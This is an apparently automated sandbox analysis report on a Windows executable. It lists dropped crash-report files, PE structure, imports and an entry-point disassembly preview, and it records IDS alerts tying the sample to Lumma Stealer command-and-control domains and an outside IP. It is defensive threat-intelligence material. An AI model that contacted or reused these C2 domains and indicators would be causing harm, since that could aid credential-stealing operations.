SHA-512:	154FF7C76AD6CABC3AA44641D5B0EFB52342EB31909629A05ED70F535FFF6CC7326D2E57F489B162272876AD38B0D07C39DD37AA715761A0C068DA82C4659493
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="518421" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER827A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Sep 27 09:18:51 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	52174
Entropy (8bit):	2.5931634294226327
Encrypted:	false
SSDEEP:	192:Evs5qm9Va4aaU/IJEeOq+LB0kAm7WYe0pYw7jGhSxnSoQkrfWHpx3KWt3:ssAm9V6/IKJB0krWwGotK8fWHptKWZ
MD5:	24508E5DAEAC9D9BF15547438D9E12EF
SHA1:	8CB45D2E67C3B6563850FB012CF97FC5C4C81CC6
SHA-256:	C482B2A8631F6B9FD4C766EBB76B4CCDF92495D8807AEF700AC85DADA0FF6A89
SHA-512:	110E1D89638FE0072515932EE5C79F293F9135BB6791423C9A352F28958BB914022057EB22BD10678835FCECA94E259D9876D601E0D6FD5F4F3C8439D6970B62
Malicious:	false
Preview:	MDMP..a..... .......{x.f............4...............H.......<...$#..........X3..........`.......8...........T............C..............`#..........L%..............................................................................eJ.......%......GenuineIntel............T...........Xx.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8308.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8336
Entropy (8bit):	3.690827908503196
Encrypted:	false
SSDEEP:	192:R6l7wVeJS76bO16YEIySU9YJgmfJBZBpDt89bemsf+qm:R6lXJW6C16YE9SU9YJgmfJmeFfa
MD5:	0F38DF3B718E735F71786F9EF1B4D84B
SHA1:	4199042B3BDDEEB48E72A0A4E007C7878B121D7F
SHA-256:	8962CDA06981F4C47D9F251E873BA78DFCDFD160CD6A69DA762C60DC793AAC7B
SHA-512:	4C7824C769BD1FA6CC2F99A67AE8F73418FC5FB887D48B8D7E533BC0DFCF6501251CB37611FE3F669CBCA5D2E5408116A1C160B3C818005CDB85E72144BA9B70
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8328.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4655
Entropy (8bit):	4.483781642776661
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI9C9WpW8VYjkGYm8M4JnEFZl+q8qbm0AvaUd:uIjfzI7UM7VRvJaPm0AvaUd
MD5:	DB0F786353A56A059128BB2641DCBEA8
SHA1:	875B9B7AA0CDCC8B8C73D4D5E53789A969C2EE5F
SHA-256:	05BA74BDD22B1D713E7CEF7E7AA40FAC93E4568589D85F479E8EAC28CE3B7348
SHA-512:	59E335F9DD34E350E9E9240429EA121DD7E44C5FB973E99E4FC93FC52342A8278B1B9FA3A8AA025F4A37A2051F23D674363E9C73BAA3F17D0600C1C67B650CE9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="518421" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.422001956142086
Encrypted:	false
SSDEEP:	6144:bSvfpi6ceLP/9skLmb0OTrWSPHaJG8nAgeMZMMhA2fX4WABlEnNL0uhiTw:GvloTrW+EZMM6DFyR03w
MD5:	B10564D29A0669756B5AEC6C747236EB
SHA1:	405605CA84D35499410DDEE405CF348AB35B4F6E
SHA-256:	48D54BED390627A1E6D3C4C6F406B493085014A8AE5939CCDAA681521F431A49
SHA-512:	A8DFD2EE672B2CAB11F10300D76D6EBEF124BAA6CE1740436F9753162441ECAE9C9CE3AF586DCF3D672B68D6BBD1E20BEF0FD41E48C009E932ACC32D24322CD1
Malicious:	false
Preview:	regf@...@....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm>m.5................................................................................................................................................................................................................................................................................................................................................&...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.8419429623745796
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bfINGx7hvL.exe
File size:	2'881'672 bytes
MD5:	80c2a36e9a14e3edba0b706d2433d9b8
SHA1:	03ac191b235b3a867539720070a5e6ca1108b4f2
SHA256:	154dae39845abef889af814bd6ad84283374c90ecece891addc362384afdd882
SHA512:	ac030656796130a3949e66f537044a27630c43b5827dd252cfab9c215e1b51ddd279f6f82911b1c728b19ac110b0a41d8d5ccef32fee97e07407b77b89728c8b
SSDEEP:	49152:MBjwz++TjZgdXCs6xTqVRoITZE87wajH/Qc9d1OF:yoz37p805cVO
TLSH:	3FD5BF207AD2C17BF9623A71996E9A5F851CAE65072425CFD3C82F3B14B11D30F3B866
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......g..Y#...#...#...^...'...^.........4.>............o."...e...'.......d....h.+...*.x.8...#.......^.........0."...#.\|."...^.5."..

File Icon


Icon Hash:	0fbcaaba5e4d3b96

Static PE Info

General

Entrypoint:	0x5023df
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5DBBA4BA [Fri Nov 1 03:21:30 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	03338d7801a2b5a198bb18f8db55defc

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=thawte SHA256 Code Signing CA, O="thawte, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	16/04/2018 20:00:00 16/04/2020 19:59:59
Subject Chain	CN="Cybertron Software Co., Ltd", OU=Software Development Department, O="Cybertron Software Co., Ltd", L=Shenzhen, S=Guangdong, C=CN
Version:	3
Thumbprint MD5:	92752B174F7C723F0CC41304EC6F2BF5
Thumbprint SHA-1:	A61B43AB9020B370EAF63D363ECEFE93644E7C00
Thumbprint SHA-256:	456511D983C06A5C4E9D7950FBB8EE0F018B5D0D0ECEC02B5A5779EB1BB62047
Serial:	6BAFEC00E2A345C442D36011054E9156

Entrypoint Preview

Instruction
call 00007F7D284F007Ch
jmp 00007F7D284E7AC4h
push ebp
mov ebp, esp
cmp dword ptr [ebp+14h], 0Ah
mov eax, dword ptr [ebp+08h]
jne 00007F7D284E7C4Ch
test eax, eax
jns 00007F7D284E7C48h
push 00000001h
push 0000000Ah
jmp 00007F7D284E7C47h
push 00000000h
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call 00007F7D284E7C47h
pop ebp
ret
push ebp
mov ebp, esp
mov ecx, dword ptr [ebp+0Ch]
push esi
test ecx, ecx
jne 00007F7D284E7C58h
call 00007F7D284EAA6Fh
push 00000016h
pop esi
mov dword ptr [eax], esi
call 00007F7D284E8F8Ch
mov eax, esi
jmp 00007F7D284E7D12h
cmp dword ptr [ebp+10h], 00000000h
push ebx
push edi
jnbe 00007F7D284E7C4Fh
call 00007F7D284EAA51h
push 00000016h
pop esi
jmp 00007F7D284E7CD0h
mov edx, dword ptr [ebp+18h]
xor eax, eax
test edx, edx
mov word ptr [ecx], ax
setne al
inc eax
cmp dword ptr [ebp+10h], eax
jnbe 00007F7D284E7C4Bh
call 00007F7D284EAA31h
push 00000022h
jmp 00007F7D284E7C20h
mov eax, dword ptr [ebp+14h]
push 00000022h
add eax, FFFFFFFEh
pop esi
cmp eax, esi
jnbe 00007F7D284E7C0Ch
xor eax, eax
mov edi, ecx
test edx, edx
mov dword ptr [ebp+18h], eax
mov edx, dword ptr [ebp+08h]
je 00007F7D284E7C53h
push 0000002Dh
pop eax
mov word ptr [ecx], ax
lea edi, dword ptr [ecx+02h]
xor eax, eax
inc eax
neg edx
mov dword ptr [ebp+18h], eax
mov ecx, dword ptr [ebp+18h]
mov ebx, edi
mov eax, edx
xor edx, edx
div dword ptr [ebp+14h]
mov dword ptr [ebp+08h], edx
mov edx, eax
mov eax, dword ptr [ebp+08h]
cmp eax, 09h

Rich Headers

Programming Language:

[C++] VS2013 UPD4 build 31101
[ C ] VS2013 UPD4 build 31101
[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2008 SP1 build 30729
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1a8bbc	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c1000	0x103800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x2bbe00	0x3a88	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x152700	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x187388	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x152000	0x670	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x15023b	0x150400	a16295d8aabeb815e0c8ce1b49aab5ec	False	0.41534618959107805	data	6.43156073321857	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x152000	0x591d4	0x59200	263f1ff904dcfe7fff4c839714c982b5	False	0.34967237903225806	data	5.286006215249929	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1ac000	0x14be8	0xec00	d9e6311eecf19ebd8ec7db1fb4601a65	False	0.11503575211864407	data	5.0524952240728895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1c1000	0x103800	0x103800	7adea4981b19683c3b443d69a670beee	False	0.7638101743135838	data	7.279642178060126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BIN	0x20f680	0x56c71	data	English	United States	1.0003263551475492
RT_CURSOR	0x2662f8	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x266448	0x138	data	English	United States	0.38461538461538464
RT_ICON	0x1c1630	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.24087936799124182
RT_ICON	0x203658	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.36401747756258857
RT_ICON	0x207880	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3966804979253112
RT_ICON	0x209e28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6053001876172608
RT_ICON	0x20aed0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.603688524590164
RT_ICON	0x20b858	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7056737588652482
RT_ICON	0x20bcc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304	English	United States	0.5652985074626866
RT_ICON	0x20cb68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024	English	United States	0.7964801444043321
RT_ICON	0x20d410	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576	English	United States	0.7874423963133641
RT_ICON	0x20dad8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256	English	United States	0.833092485549133
RT_ICON	0x20e040	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.36585365853658536
RT_ICON	0x20e6a8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.510752688172043
RT_ICON	0x20e990	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.5532786885245902
RT_ICON	0x20eb78	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.6554054054054054
RT_ICON	0x20ed70	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7056737588652482
RT_ICON	0x20f1f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.724290780141844
RT_STRING	0x2668b8	0x5c	data	English	United States	0.6630434782608695
RT_ACCELERATOR	0x20f670	0x10	data	English	United States	1.25
RT_GROUP_CURSOR	0x266430	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x266580	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x20eca0	0xca	data	English	United States	0.5841584158415841
RT_GROUP_ICON	0x20f1d8	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x20f658	0x14	data	English	United States	1.25
RT_VERSION	0x266598	0x31c	data	English	United States	0.46984924623115576
RT_MANIFEST	0x266918	0x359	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (797), with CRLF line terminators	English	United States	0.5367561260210035

Imports

DLL	Import
KERNEL32.dll	GetWindowsDirectoryW, LoadLibraryW, GetProcAddress, FreeLibrary, CreateDirectoryW, GetDateFormatW, SystemTimeToFileTime, GetLocaleInfoW, GetTimeFormatW, FileTimeToSystemTime, FormatMessageW, ReadConsoleW, GetCurrentThreadId, OpenFileMappingW, OpenMutexW, CreateMutexW, lstrcatW, lstrlenW, lstrcpynW, GlobalFree, GlobalUnlock, GlobalLock, GlobalAlloc, OutputDebugStringW, GetDriveTypeW, GetVolumeInformationW, FlushViewOfFile, MapViewOfFile, CreateFileMappingW, GetCurrentProcessId, GetModuleFileNameW, GetModuleHandleW, WaitForMultipleObjects, SetErrorMode, VirtualFree, FlushInstructionCache, VirtualAlloc, GetVersionExA, LoadResource, LockResource, SizeofResource, FindResourceW, VirtualProtect, TryEnterCriticalSection, InitializeCriticalSection, FlushFileBuffers, WriteConsoleW, SetStdHandle, HeapReAlloc, LoadLibraryExW, GetConsoleMode, GetConsoleCP, LeaveCriticalSection, EnterCriticalSection, FreeEnvironmentStringsW, GetEnvironmentStringsW, DeleteCriticalSection, GetFileType, LCMapStringW, GetStringTypeW, GetStartupInfoW, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, TerminateProcess, InitializeCriticalSectionAndSpinCount, SetUnhandledExceptionFilter, UnhandledExceptionFilter, HeapSize, GetStdHandle, AreFileApisANSI, GetModuleHandleExW, ExitProcess, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, RtlUnwind, FindClose, FileTimeToLocalFileTime, FindFirstFileW, LocalFree, SetFilePointerEx, DeleteFileW, GetFileAttributesW, GetDiskFreeSpaceExW, TerminateThread, CreateEventW, SetEvent, Sleep, DeviceIoControl, GetDiskFreeSpaceW, GetVolumePathNameW, MultiByteToWideChar, WideCharToMultiByte, GetVersionExW, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, CreateThread, SetLastError, GetFileSizeEx, ReadFile, GetLastError, WriteFile, GetLocalTime, CloseHandle, SetFilePointer, CreateFileW, RaiseException, GetCommandLineW, GetSystemTimeAsFileTime, IsProcessorFeaturePresent, IsDebuggerPresent, DecodePointer, EncodePointer, GetFileAttributesExW, GetLongPathNameW, GetEnvironmentVariableW, GetFullPathNameW, GetProcessHeap, GetLogicalDrives, HeapFree, GetCurrentProcess, HeapAlloc, SetEndOfFile
USER32.dll	SetFocus, IsWindow, IsWindowVisible, SetClipboardData, EmptyClipboard, UpdateLayeredWindow, TrackPopupMenu, AppendMenuW, GetMenuStringW, CreatePopupMenu, GetSystemMenu, EndPaint, BeginPaint, DestroyWindow, UnregisterClassW, TrackMouseEvent, ClientToScreen, SetCapture, ReleaseCapture, GetWindowRect, GetKeyState, EnumDisplayDevicesW, EnumDisplaySettingsW, IsIconic, SetWindowPos, SetActiveWindow, IsWindowEnabled, EnableWindow, SystemParametersInfoW, GetMessageW, TranslateMessage, DispatchMessageW, PostQuitMessage, SetTimer, KillTimer, MoveWindow, GetDC, ReleaseDC, SetWindowLongW, CallWindowProcW, GetWindowLongW, GetDlgItem, DrawTextW, CreateWindowExW, RedrawWindow, GetSystemMetrics, OpenClipboard, GetClipboardData, CloseClipboard, GetWindow, GetPropW, MessageBoxW, ShowWindow, GetDesktopWindow, GetParent, SetCursorPos, mouse_event, PostThreadMessageW, PostMessageA, SetForegroundWindow, SetPropW, LoadIconW, ShowCursor, GetCursorPos, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, PeekMessageW, EnumWindows, EnumChildWindows, GetWindowTextW, GetClassNameW, PostMessageW, SendMessageW, PtInRect, DefWindowProcW, SetMenuDefaultItem, DestroyMenu, EnableMenuItem, DestroyIcon, LoadImageW, RegisterClassExW, RegisterWindowMessageW, EndDialog, GetActiveWindow, IsZoomed, SetWindowPlacement, GetWindowPlacement, UnregisterHotKey, RegisterHotKey
GDI32.dll	DeleteObject, EnumFontFamiliesW, SelectObject, GetStockObject, CreateCompatibleDC, DeleteDC, CreateDIBSection
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	RegDeleteValueW, RegSetValueExW, GetUserNameW, GetSidSubAuthority, GetSidSubAuthorityCount, GetSidIdentifierAuthority, LookupAccountNameW, RegEnumKeyW, RegQueryValueExW, RegOpenKeyExW, StartServiceW, ControlService, DeleteService, ChangeServiceConfig2W, CreateServiceW, CloseServiceHandle, QueryServiceStatus, OpenServiceW, OpenSCManagerW, RegDeleteKeyW, RegCloseKey, RegOpenKeyW, RegCreateKeyExW, OpenProcessToken, GetTokenInformation, RegCreateKeyW, RegSetValueW, RegEnumKeyExW, LookupPrivilegeValueW, AdjustTokenPrivileges, AllocateAndInitializeSid, EqualSid, FreeSid, CryptAcquireContextA, CryptReleaseContext, CryptGenRandom
SHELL32.dll	ShellExecuteExW, SHFormatDrive, SHGetFileInfoW, SHChangeNotify, SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHGetFolderPathW, DragQueryFileW, Shell_NotifyIconW, SHFileOperationW, ShellExecuteW, SHAddToRecentDocs, SHGetSpecialFolderPathW
ole32.dll	RevokeDragDrop, CoInitializeEx, CoInitializeSecurity, CoUninitialize, CoCreateInstance, CoTaskMemFree, ReleaseStgMedium, OleUninitialize, OleInitialize, RegisterDragDrop, CreateStreamOnHGlobal
RPCRT4.dll	NdrClientCall2, RpcBindingFromStringBindingW, RpcBindingFree, RpcEpResolveBinding, RpcStringFreeW, RpcStringBindingComposeW
gdiplus.dll	GdipCreatePen1, GdipDeleteStringFormat, GdipSetStringFormatAlign, GdipGetRegionBounds, GdipGetRegionScansI, GdipGetRegionScansCount, GdipClonePen, GdiplusShutdown, GdiplusStartup, GdipAddPathRectangleI, GdipDrawEllipse, GdipDrawPath, GdipFillRectangleI, GdipSetSolidFillColor, GdipSetSmoothingMode, GdipCreateBitmapFromGraphics, GdipSetLineColors, GdipAddPathPath, GdipSetPathMarker, GdipStartPathFigure, GdipAddPathLine, GdipGetPathLastPoint, GdipDrawImageRectRectI, GdipSetImageAttributesColorMatrix, GdipDisposeImageAttributes, GdipCreateImageAttributes, GdipDeleteFont, GdipCreateFontFromLogfontW, GdipCreateFontFromDC, GdipCreateFontFamilyFromName, GdipDeleteFontFamily, GdipGetGenericFontFamilySansSerif, GdipCreateFont, GdipDrawImageI, GdipGetImageGraphicsContext, GdipBitmapSetResolution, GdipGetImageVerticalResolution, GdipGetImageHorizontalResolution, GdipCreateBitmapFromScan0, GdipLoadImageFromStream, GdipGetFontHeightGivenDPI, GdipSetPenDashStyle, GdipBitmapSetPixel, GdipBitmapGetPixel, GdipCloneBitmapAreaI, GdipCloneImage, GdipDisposeImage, GdipSetTextRenderingHint, GdipDeleteGraphics, GdipCreateFromHDC, GdipSetLinePresetBlend, GdipCreateLineBrushI, GdipSetPathGradientCenterColor, GdipCreateTexture, GdipCreateLineBrush, GdipSetPenColor, GdipSetPenDashArray, GdipDeletePen, GdipMeasureCharacterRanges, GdipDrawString, GdipCreateSolidFill, GdipMeasureString, GdipSetStringFormatFlags, GdipSetStringFormatTrimming, GdipAddPathLineI, GdipClosePathFigure, GdipAddPathArcI, GdipResetPath, GdipCreateHatchBrush, GdipSetPathGradientFocusScales, GdipSetPathGradientPresetBlend, GdipCloneBrush, GdipSetStringFormatMeasurableCharacterRanges, GdipCloneStringFormat, GdipSetStringFormatTabStops, GdipFillPie, GdipAlloc, GdipFree, GdipDeleteBrush, GdipCreatePathGradientFromPath, GdipDeleteRegion, GdipCreateRegion, GdipDeletePath, GdipCreatePath, GdipGetImageWidth, GdipGetImageHeight, GdipSetStringFormatLineAlign, GdipGraphicsClear, GdipGetDpiX, GdipGetDpiY, GdipSetClipPath, GdipSetClipRectI, GdipSetClipRegion, GdipGetClip, GdipTranslateWorldTransform, GdipCreateMatrix, GdipDeleteMatrix, GdipDrawLine, GdipSetImageAttributesGamma, GdipDrawImage, GdipDrawRectangle, GdipFillRectangle, GdipFillPath, GdipCreateStringFormat
SHLWAPI.dll	PathFileExistsW, SHDeleteKeyW
MPR.dll	WNetGetConnectionW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T11:18:25.529280+0200	2056078	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (racedsuitreow .shop)	1	192.168.2.5	58062	1.1.1.1	53	UDP
2024-09-27T11:18:25.539643+0200	2056076	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (defenddsouneuw .shop)	1	192.168.2.5	57176	1.1.1.1	53	UDP
2024-09-27T11:18:26.025493+0200	2056077	ET MALWARE Observed Win32/Lumma Stealer Related Domain (defenddsouneuw .shop in TLS SNI)	1	192.168.2.5	49716	188.114.97.3	443	TCP
2024-09-27T11:18:26.194583+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49716	188.114.97.3	443	TCP
2024-09-27T11:18:26.194583+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49716	188.114.97.3	443	TCP
2024-09-27T11:18:26.917291+0200	2056077	ET MALWARE Observed Win32/Lumma Stealer Related Domain (defenddsouneuw .shop in TLS SNI)	1	192.168.2.5	49717	188.114.97.3	443	TCP
2024-09-27T11:18:27.331905+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49717	188.114.97.3	443	TCP
2024-09-27T11:18:27.331905+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49717	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:18:25.560081005 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:25.560136080 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:25.560214996 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:25.561548948 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:25.561563015 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.025357962 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.025492907 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.030638933 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.030659914 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.030916929 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.085370064 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.094005108 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.094028950 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.094151020 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.194608927 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.194654942 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.194680929 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.194705009 CEST	443	49716	188.114.97.3	192.168.2.5
